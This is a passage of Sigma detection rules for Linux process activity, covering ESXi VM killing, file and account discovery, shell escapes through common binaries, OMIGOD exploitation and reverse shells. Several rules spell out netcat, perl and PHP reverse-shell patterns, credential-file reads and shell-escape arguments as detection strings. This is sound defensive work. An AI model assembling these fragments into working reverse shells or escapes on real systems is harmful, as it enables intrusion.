"content": "title: ESXi VM Kill Via ESXCLI\nid: 2992ac4d-31e9-4325-99f2-b18a73221bb2\nstatus: test\ndescription: Detects execution of the \"esxcli\" command with the \"vm\" and \"kill\" flag in order to kill/shutdown a specific VM.\nreferences:\n - https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/\n - https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_vm.html\n - https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/\n - https://www.trendmicro.com/en_us/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html\nauthor: Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon\ndate: 2023-09-04\ntags:\n - attack.execution\n - attack.impact\n - attack.t1059.012\n - attack.t1529\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/esxcli'\n CommandLine|contains|all:\n - 'vm process'\n - 'kill'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_esxcli_vsan_discovery.yml",
"content": "title: ESXi VSAN Information Discovery Via ESXCLI\nid: d54c2f06-aca9-4e2b-81c9-5317858f4b79\nstatus: test\ndescription: Detects execution of the \"esxcli\" command with the \"vsan\" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.\nreferences:\n - https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html\n - https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html\n - https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_vsan.html\nauthor: Nasreddine Bencherchali (Nextron Systems), Cedric Maurugeon\ndate: 2023-09-04\ntags:\n - attack.discovery\n - attack.execution\n - attack.t1033\n - attack.t1007\n - attack.t1059.012\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/esxcli'\n CommandLine|contains: 'vsan'\n selection_cli:\n CommandLine|contains:\n - ' get'\n - ' list'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administration activities\n# Note: level can be reduced to low in some envs\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_file_and_directory_discovery.yml",
"content": "title: File and Directory Discovery - Linux\nid: d3feb4ee-ff1d-4d3d-bd10-5b28a238cc72\nstatus: test\ndescription: |\n Detects usage of system utilities such as \"find\", \"tree\", \"findmnt\", etc, to discover files, directories and network shares.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md\nauthor: Daniil Yugoslavskiy, oscd.community, CheraghiMilad\ndate: 2020-10-19\nmodified: 2024-12-01\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_file_with_asterisk:\n Image|endswith: '/file'\n CommandLine|re: '(.){200,}' # execution of the 'file */* *>> /tmp/output.txt' will produce huge commandline\n selection_recursive_ls:\n Image|endswith: '/ls'\n CommandLine|contains: '-R'\n selection_find_execution:\n Image|endswith: '/find'\n selection_tree_execution:\n Image|endswith: '/tree'\n selection_findmnt_execution:\n Image|endswith: '/findmnt'\n selection_locate_execution:\n Image|endswith: '/mlocate'\n condition: 1 of selection_*\nfalsepositives:\n - Legitimate activities\nlevel: informational\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_file_deletion.yml",
"content": "title: File Deletion\nid: 30aed7b6-d2c1-4eaf-9382-b6bc43e50c57\nstatus: stable\ndescription: Detects file deletion using \"rm\", \"shred\" or \"unlink\" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md\nauthor: Ömer Günal, oscd.community\ndate: 2020-10-07\nmodified: 2022-09-15\ntags:\n - attack.defense-evasion\n - attack.t1070.004\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith:\n - '/rm' # covers /rmdir as well\n - '/shred'\n - '/unlink'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: informational\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_find_shell_execution.yml",
"content": "title: Shell Execution via Find - Linux\nid: 6adfbf8f-52be-4444-9bac-81b539624146\nstatus: test\ndescription: |\n Detects the use of the find command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or exploitation attempt.\nreferences:\n - https://gtfobins.github.io/gtfobins/find/#shell\n - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html\nauthor: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)\ndate: 2024-09-02\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/find'\n CommandLine|contains|all:\n - ' . '\n - '-exec'\n selection_cli:\n CommandLine|contains:\n - '/bin/bash'\n - '/bin/dash'\n - '/bin/fish'\n - '/bin/sh'\n - '/bin/zsh'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_flock_shell_execution.yml",
"content": "title: Shell Execution via Flock - Linux\nid: 4b09c71e-4269-4111-9cdd-107d8867f0cc\nstatus: test\ndescription: |\n Detects the use of the \"flock\" command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\nreferences:\n - https://gtfobins.github.io/gtfobins/flock/#shell\n - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html\nauthor: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)\ndate: 2024-09-02\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/flock'\n CommandLine|contains: ' -u '\n selection_cli:\n CommandLine|contains:\n - '/bin/bash'\n - '/bin/dash'\n - '/bin/fish'\n - '/bin/sh'\n - '/bin/zsh'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_gcc_shell_execution.yml",
"content": "title: Shell Execution GCC - Linux\nid: 9b5de532-a757-4d70-946c-1f3e44f48b4d\nstatus: test\ndescription: |\n Detects the use of the \"gcc\" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\nreferences:\n - https://gtfobins.github.io/gtfobins/gcc/#shell\n - https://gtfobins.github.io/gtfobins/c89/#shell\n - https://gtfobins.github.io/gtfobins/c99/#shell\n - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html\nauthor: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)\ndate: 2024-09-02\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith:\n - '/c89'\n - '/c99'\n - '/gcc'\n CommandLine|contains: '-wrapper'\n selection_cli:\n CommandLine|contains:\n - '/bin/bash,-s'\n - '/bin/dash,-s'\n - '/bin/fish,-s'\n - '/bin/sh,-s'\n - '/bin/zsh,-s'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_git_shell_execution.yml",
"content": "title: Shell Execution via Git - Linux\nid: 47b3bbd4-1bf7-48cc-84ab-995362aaa75a\nstatus: test\ndescription: |\n Detects the use of the \"git\" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\nreferences:\n - https://gtfobins.github.io/gtfobins/git/#shell\nauthor: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)\ndate: 2024-09-02\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n ParentImage|endswith: '/git'\n ParentCommandLine|contains|all:\n - ' -p '\n - 'help'\n CommandLine|contains:\n - 'bash 0<&1'\n - 'dash 0<&1'\n - 'sh 0<&1'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_grep_os_arch_discovery.yml",
"content": "title: OS Architecture Discovery Via Grep\nid: d27ab432-2199-483f-a297-03633c05bae6\nstatus: test\ndescription: |\n Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of \"uname\" or \"cat /proc/cpuinfo\"\nreferences:\n - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html\n - https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/\n - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection\n - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-06-02\ntags:\n - attack.discovery\n - attack.t1082\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_process:\n Image|endswith: '/grep'\n selection_architecture:\n CommandLine|endswith:\n - 'aarch64'\n - 'arm'\n - 'i386'\n - 'i686'\n - 'mips'\n - 'x86_64'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_groupdel.yml",
"content": "title: Group Has Been Deleted Via Groupdel\nid: 8a46f16c-8c4c-82d1-b121-0fdd3ba70a84\nstatus: test\ndescription: Detects execution of the \"groupdel\" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks\nreferences:\n - https://linuxize.com/post/how-to-delete-group-in-linux/\n - https://www.cyberciti.biz/faq/linux-remove-user-command/\n - https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/\n - https://linux.die.net/man/8/groupdel\nauthor: Tuan Le (NCSGroup)\ndate: 2022-12-26\ntags:\n - attack.impact\n - attack.t1531\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/groupdel'\n condition: selection\nfalsepositives:\n - Legitimate administrator activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml",
"content": "title: Install Root Certificate\nid: 78a80655-a51e-4669-bc6b-e9d206a462ee\nstatus: test\ndescription: Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md\nauthor: Ömer Günal, oscd.community\ndate: 2020-10-05\nmodified: 2022-07-07\ntags:\n - attack.defense-evasion\n - attack.t1553.004\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith:\n - '/update-ca-certificates'\n - '/update-ca-trust'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_install_suspicious_packages.yml",
"content": "title: Suspicious Package Installed - Linux\nid: 700fb7e8-2981-401c-8430-be58e189e741\nstatus: test\ndescription: Detects installation of suspicious packages using system installation utilities\nreferences:\n - https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2023-01-03\nmodified: 2026-01-01\ntags:\n - attack.defense-evasion\n - attack.t1553.004\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_tool_apt:\n Image|endswith:\n - '/apt'\n - '/apt-get'\n CommandLine|contains: 'install'\n selection_tool_yum:\n Image|endswith: '/yum'\n CommandLine|contains:\n - 'localinstall'\n - 'install'\n selection_tool_rpm:\n Image|endswith: '/rpm'\n CommandLine|contains: '-i'\n selection_tool_dpkg:\n Image|endswith: '/dpkg'\n CommandLine|contains:\n - '--install'\n - '-i'\n selection_keyword:\n CommandLine|contains:\n # Add more suspicious packages\n - 'nmap'\n - ' nc'\n - 'netcat'\n - 'wireshark'\n - 'tshark'\n - 'openconnect'\n - 'proxychains'\n - 'socat'\n condition: 1 of selection_tool_* and selection_keyword\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_iptables_flush_ufw.yml",
"content": "title: Flush Iptables Ufw Chain\nid: 3be619f4-d9ec-4ea8-a173-18fdd01996ab\nstatus: test\ndescription: Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic\nreferences:\n - https://blogs.blackberry.com/\n - https://www.cyberciti.biz/tips/linux-iptables-how-to-flush-all-rules.html\n - https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-01-18\ntags:\n - attack.defense-evasion\n - attack.t1562.004\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_img:\n Image|endswith:\n - '/iptables'\n - '/xtables-legacy-multi'\n - '/iptables-legacy-multi'\n - '/ip6tables'\n - '/ip6tables-legacy-multi'\n selection_params:\n CommandLine|contains:\n - '-F'\n - '-Z'\n - '-X'\n selection_ufw:\n CommandLine|contains:\n - 'ufw-logging-deny'\n - 'ufw-logging-allow'\n - 'ufw6-logging-deny'\n - 'ufw6-logging-allow'\n # - 'ufw-reject-output'\n # - 'ufw-track-inputt'\n condition: all of selection_*\nfalsepositives:\n - Network administrators\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_local_account.yml",
"content": "title: Local System Accounts Discovery - Linux\nid: b45e3d6f-42c6-47d8-a478-df6bd6cf534c\nstatus: test\ndescription: Detects enumeration of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md\n - https://my.f5.com/manage/s/article/K589\n - https://man.freebsd.org/cgi/man.cgi?pwd_mkdb\nauthor: Alejandro Ortuno, oscd.community, CheraghiMilad\ndate: 2020-10-08\nmodified: 2024-12-10\ntags:\n - attack.discovery\n - attack.t1087.001\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_1:\n Image|endswith: '/lastlog'\n selection_2:\n CommandLine|contains: '''x:0:'''\n selection_3:\n Image|endswith:\n - '/cat'\n - '/ed'\n - '/head'\n - '/more'\n - '/nano'\n - '/tail'\n - '/vi'\n - '/vim'\n - '/less'\n - '/emacs'\n - '/sqlite3'\n - '/makemap'\n CommandLine|contains:\n - '/etc/passwd'\n - '/etc/shadow'\n - '/etc/sudoers'\n - '/etc/spwd.db'\n - '/etc/pwd.db'\n - '/etc/master.passwd'\n selection_4:\n Image|endswith: '/id'\n selection_5:\n Image|endswith: '/lsof'\n CommandLine|contains: '-u'\n condition: 1 of selection*\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_local_groups.yml",
"content": "title: Local Groups Discovery - Linux\nid: 676381a6-15ca-4d73-a9c8-6a22e970b90d\nstatus: test\ndescription: Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md\nauthor: Ömer Günal, Alejandro Ortuno, oscd.community\ndate: 2020-10-11\nmodified: 2025-06-04\ntags:\n - attack.discovery\n - attack.t1069.001\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_1:\n Image|endswith: '/groups'\n selection_2:\n Image|endswith:\n - '/cat'\n - '/ed'\n - '/head'\n - '/less'\n - '/more'\n - '/nano'\n - '/tail'\n - '/vi'\n - '/vim'\n CommandLine|contains: '/etc/group'\n condition: 1 of selection_*\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_malware_gobrat_grep_payload_discovery.yml",
"content": "title: Potential GobRAT File Discovery Via Grep\nid: e34cfa0c-0a50-4210-9cb3-5632d08eb041\nstatus: test\ndescription: Detects the use of grep to discover specific files created by the GobRAT malware\nreferences:\n - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html\n - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection\n - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-06-02\ntags:\n - attack.discovery\n - attack.t1082\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/grep'\n CommandLine|contains:\n - 'apached'\n - 'frpc'\n - 'sshd.sh'\n - 'zone.arm'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation.yml",
"content": "title: Named Pipe Created Via Mkfifo\nid: 9d779ce8-5256-4b13-8b6f-b91c602b43f4\nstatus: test\ndescription: Detects the creation of a new named pipe using the \"mkfifo\" utility\nreferences:\n - https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk\n - https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2023-06-16\ntags:\n - attack.execution\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/mkfifo'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation_susp_location.yml",
"content": "title: Potentially Suspicious Named Pipe Created Via Mkfifo\nid: 999c3b12-0a8c-40b6-8e13-dd7d62b75c7a\nrelated:\n - id: 9d779ce8-5256-4b13-8b6f-b91c602b43f4\n type: derived\nstatus: test\ndescription: Detects the creation of a new named pipe using the \"mkfifo\" utility in a potentially suspicious location\nreferences:\n - https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk\n - https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2023-06-16\ntags:\n - attack.execution\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/mkfifo'\n # Note: Add more potentially suspicious locations\n CommandLine|contains: ' /tmp/'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_mount_hidepid.yml",
"content": "title: Mount Execution With Hidepid Parameter\nid: ec52985a-d024-41e3-8ff6-14169039a0b3\nstatus: test\ndescription: Detects execution of the \"mount\" command with \"hidepid\" parameter to make invisible processes to other users from the system\nreferences:\n - https://blogs.blackberry.com/\n - https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/\n - https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-01-12\ntags:\n - attack.credential-access\n - attack.defense-evasion\n - attack.t1564\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/mount'\n CommandLine|contains|all:\n - 'hidepid=2'\n - ' -o '\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_netcat_reverse_shell.yml",
"content": "title: Potential Netcat Reverse Shell Execution\nid: 7f734ed0-4f47-46c0-837f-6ee62505abd9\nstatus: test\ndescription: Detects execution of netcat with the \"-e\" flag followed by common shells. This could be a sign of a potential reverse shell setup.\nreferences:\n - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\n - https://www.revshells.com/\n - https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/\n - https://www.infosecademy.com/netcat-reverse-shells/\n - https://man7.org/linux/man-pages/man1/ncat.1.html\nauthor: '@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)'\ndate: 2023-04-07\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_nc:\n Image|endswith:\n - '/nc'\n - '/ncat'\n selection_flags:\n CommandLine|contains:\n - ' -c '\n - ' -e '\n selection_shell:\n CommandLine|contains:\n - ' ash'\n - ' bash'\n - ' bsh'\n - ' csh'\n - ' ksh'\n - ' pdksh'\n - ' sh'\n - ' tcsh'\n - '/bin/ash'\n - '/bin/bash'\n - '/bin/bsh'\n - '/bin/csh'\n - '/bin/ksh'\n - '/bin/pdksh'\n - '/bin/sh'\n - '/bin/tcsh'\n - '/bin/zsh'\n - '$IFSash'\n - '$IFSbash'\n - '$IFSbsh'\n - '$IFScsh'\n - '$IFSksh'\n - '$IFSpdksh'\n - '$IFSsh'\n - '$IFStcsh'\n - '$IFSzsh'\n condition: all of selection_*\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_nice_shell_execution.yml",
"content": "title: Shell Execution via Nice - Linux\nid: 093d68c7-762a-42f4-9f46-95e79142571a\nstatus: test\ndescription: |\n Detects the use of the \"nice\" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\nreferences:\n - https://gtfobins.github.io/gtfobins/nice/#shell\n - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html\nauthor: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)\ndate: 2024-09-02\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/nice'\n CommandLine|endswith:\n - '/bin/bash'\n - '/bin/dash'\n - '/bin/fish'\n - '/bin/sh'\n - '/bin/zsh'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_nohup.yml",
"content": "title: Nohup Execution\nid: e4ffe466-6ff8-48d4-94bd-e32d1a6061e2\nstatus: test\ndescription: Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments\nreferences:\n - https://gtfobins.github.io/gtfobins/nohup/\n - https://en.wikipedia.org/wiki/Nohup\n - https://www.computerhope.com/unix/unohup.htm\nauthor: 'Christopher Peacock @SecurePeacock, SCYTHE @scythe_io'\ndate: 2022-06-06\ntags:\n - attack.execution\n - attack.t1059.004\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/nohup'\n condition: selection\nfalsepositives:\n - Administrators or installed processes that leverage nohup\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_nohup_susp_execution.yml",
"content": "title: Suspicious Nohup Execution\nid: 457df417-8b9d-4912-85f3-9dbda39c3645\nrelated:\n - id: e4ffe466-6ff8-48d4-94bd-e32d1a6061e2\n type: derived\nstatus: test\ndescription: Detects execution of binaries located in potentially suspicious locations via \"nohup\"\nreferences:\n - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html\n - https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/\n - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection\n - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-06-02\ntags:\n - attack.execution\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/nohup'\n CommandLine|contains: '/tmp/'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml",
"content": "title: OMIGOD SCX RunAsProvider ExecuteScript\nid: 6eea1bf6-f8d2-488a-a742-e6ef6c1b67db\nstatus: test\ndescription: |\n Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.\n Script being executed gets created as a temp file in /tmp folder with a scx* prefix.\n Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.\n The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\n Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\nreferences:\n - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure\n - https://github.com/Azure/Azure-Sentinel/pull/3059\nauthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC\ndate: 2021-10-15\nmodified: 2022-10-05\ntags:\n - attack.privilege-escalation\n - attack.initial-access\n - attack.execution\n - attack.t1068\n - attack.t1190\n - attack.t1203\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n User: root\n LogonId: 0\n CurrentDirectory: '/var/opt/microsoft/scx/tmp'\n CommandLine|contains: '/etc/opt/microsoft/scx/conf/tmpdir/scx'\n condition: selection\nfalsepositives:\n - Legitimate use of SCX RunAsProvider ExecuteScript.\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml",
"content": "title: OMIGOD SCX RunAsProvider ExecuteShellCommand\nid: 21541900-27a9-4454-9c4c-3f0a4240344a\nstatus: test\ndescription: |\n Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\n SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\n Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\nreferences:\n - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure\n - https://github.com/Azure/Azure-Sentinel/pull/3059\nauthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC\ndate: 2021-10-15\nmodified: 2022-10-05\ntags:\n - attack.privilege-escalation\n - attack.initial-access\n - attack.execution\n - attack.t1068\n - attack.t1190\n - attack.t1203\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n User: root\n LogonId: 0\n CurrentDirectory: '/var/opt/microsoft/scx/tmp'\n CommandLine|contains: '/bin/sh'\n condition: selection\nfalsepositives:\n - Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand.\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_perl_reverse_shell.yml",
"content": "title: Potential Perl Reverse Shell Execution\nid: 259df6bc-003f-4306-9f54-4ff1a08fa38e\nstatus: test\ndescription: Detects execution of the perl binary with the \"-e\" flag and common strings related to potential reverse shell activity\nreferences:\n - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\n - https://www.revshells.com/\nauthor: '@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)'\ndate: 2023-04-07\ntags:\n - attack.execution\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/perl'\n CommandLine|contains: ' -e '\n selection_content:\n - CommandLine|contains|all:\n - 'fdopen('\n - '::Socket::INET'\n - CommandLine|contains|all:\n - 'Socket'\n - 'connect'\n - 'open'\n - 'exec'\n condition: all of selection_*\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_php_reverse_shell.yml",
"content": "title: Potential PHP Reverse Shell\nid: c6714a24-d7d5-4283-a36b-3ffd091d5f7e\nstatus: test\ndescription: |\n Detects usage of the PHP CLI with the \"-r\" flag which allows it to run inline PHP code. The rule looks for calls to the \"fsockopen\" function which allows the creation of sockets.\n Attackers often leverage this in combination with functions such as \"exec\" or \"fopen\" to initiate a reverse shell connection.\nreferences:\n - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\n - https://www.revshells.com/\nauthor: '@d4ns4n_'\ndate: 2023-04-07\ntags:\n - attack.execution\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|contains: '/php'\n CommandLine|contains|all:\n - ' -r '\n - 'fsockopen'\n CommandLine|contains:\n - 'ash'\n - 'bash'\n - 'bsh'\n - 'csh'\n - 'ksh'\n - 'pdksh'\n - 'sh'\n - 'tcsh'\n - 'zsh'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_pnscan_binary_cli_pattern.yml",
"content": "title: Pnscan Binary Data Transmission Activity\nid: 97de11cd-4b67-4abf-9a8b-1020e670aa9e\nstatus: test\ndescription: |\n Detects command line patterns associated with the use of Pnscan for sending and receiving binary data across the network.\n This behavior has been identified in a Linux malware campaign targeting Docker, Apache Hadoop, Redis, and Confluence and was previously used by the threat actor known as TeamTNT\nauthor: David Burkett (@signalblur)\ndate: 2024-04-16\nreferences:\n - https://www.cadosecurity.com/blog/spinning-yarn-a-new-linux-malware-campaign-targets-docker-apache-hadoop-redis-and-confluence\n - https://intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf\n - https://regex101.com/r/RugQYK/1\n - https://www.virustotal.com/gui/file/beddf70a7bab805f0c0b69ac0989db6755949f9f68525c08cb874988353f78a9/content\ntags:\n - attack.discovery\n - attack.t1046\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n CommandLine|re: 